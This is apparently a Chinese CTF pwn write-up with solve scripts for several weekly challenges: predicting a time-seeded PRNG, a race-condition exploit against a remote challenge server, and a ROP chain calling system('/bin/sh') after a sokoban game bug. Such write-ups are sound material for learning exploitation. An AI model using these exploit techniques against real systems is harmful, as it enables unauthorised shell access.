Week1

幸运星

一道伪随机数的题目,只需要50次输入和生产的随机数一样即可,此题将time(0)设置为种子,这里我还是编写一段C语言代码来生产随机数。

#include<stdio.h>
#include<stdlib.h>
#include<time.h>

int main()
{
srand(time(0));
int x=0;
for(int i=0;i<50;i++)
{
x=rand()%53+7;
printf("%d\n",x);
}
return 0;
}

from pwn import*
io=process('./lucky')

recv_data=os.popen('./Lucky').read()
print(recv_data)

list=recv_data.strip('\n')
list=recv_data.split('\n')

for i in range(50):
io.sendline(str(list[i]))

io.interactive()

下面是官方的exp,

from ctypes import*
from pwn import*
io=remote('',)
libc=CDLL('./libc.so')
time=libc.time(0)
libc.srand(time)
for i in range(50):
p=libc.rand()%53+7
io.sendline(str(p))
io.interactive()

count

没有给附件,直接编写脚本计算即可。

from pwn import*
io=remote()
io.sendline(b'4100625')
io.recvuntil(b'Are you ready?')
for i in range(20):
io.recvuntil(b'0x')
num1=int(io.recvuntil(b" ",drop=True),16)
io.recvuntil(b'0x')
num2=int(io.recvuntil(b" ",drop=True),16)
sum=num1+num2
io.sendline(str(sum))
io.interactive()

No vuln

看起来是一个简单的用户态竞争,那什么是竞争呢,竞争就是当多个线程(或进程)同时访问操作同一份共享数据,并且结果取决于他们运行的时序时,就发生了竞争。

这题想要获取shell,得让buffer的值为IM_FLAG,buffer的值是从Secret.txt文件中读取的,但是从write_operation函数中可以看出似乎是不太可能的,如果按照顺序执行write函数与read函数的话,不能达到相应的目的,这时就得考虑一下连接两个进程同时执行两个函数,造成竞争。

from pwn import*
context.arch='amd64'
io1=remote('challenge.ilovectf.cn',30626)
io2=remote('challenge.ilovectf.cn',30626)
io3=remote('challenge.ilovectf.cn',30626)

while True:
io1=remote('challenge.ilovectf.cn',30626)
io2=remote('challenge.ilovectf.cn',30626)
io3=remote('challenge.ilovectf.cn',30626)
io1.recvuntil('surprise...')
io2.recvuntil('surprise...')
io3.recvuntil('surprise...')
io1.recv(10)
io2.recv(10)
io3.recv(10)
io1.send(b"WR"*(0x100//2))
io2.send(b"WR"*(0x100//2))
io3.send(b"WR"*(0x100//2))
result1=io1.recv(10)
result2=io2.recv(10)
result3=io3.recv(10)
print(result1)
print(result2)
print(result3)
if b"IMPOSSIBLE" in result1:
io1.interactive()
elif b"IMPOSSIBLE" in result2:
io2.interactive()
elif b"IMPOSSIBLE" in result3:
io3.interactive()
else:
io1.close()
io2.close()
io3.close()

Week2

神圣术

题没什么难度,只需要跟着做就行了,但是好像只能输入十进制的数,就有点难受。

Week3

sokoban

是一个推箱子的游戏,需要将箱子推到指定位置使得flag_num的值为4,然后就能栈溢出。但是经过几次发现好像只能将三个箱子推到指定位置,于是卡了一会儿

再看一下exec_and_update函数,发现了一个bug,就是只要将箱子推入指定位置就算一次,就算将该箱子再推出指定位置,flag_num的值也不会减少,因此该题就简单了。

from pwn import*
elf=ELF('./sokoban')
io=remote('challenge.ilovectf.cn',30714)

sh=0x403112
system_func=0x401050
pop_rdi_ret=0x000000000040264c


payload=b'dddwwwwddddssssddddwwwwdsssssasddwddsawaasdwddsawaasdwddsawaasd'
io.sendline(payload)

payload=cyclic(0x18)+p64(pop_rdi_ret)+p64(sh)+p64(pop_rdi_ret+1)+p64(system_func)
io.sendafter(b'sh',payload)

io.interactive()

弥达斯之触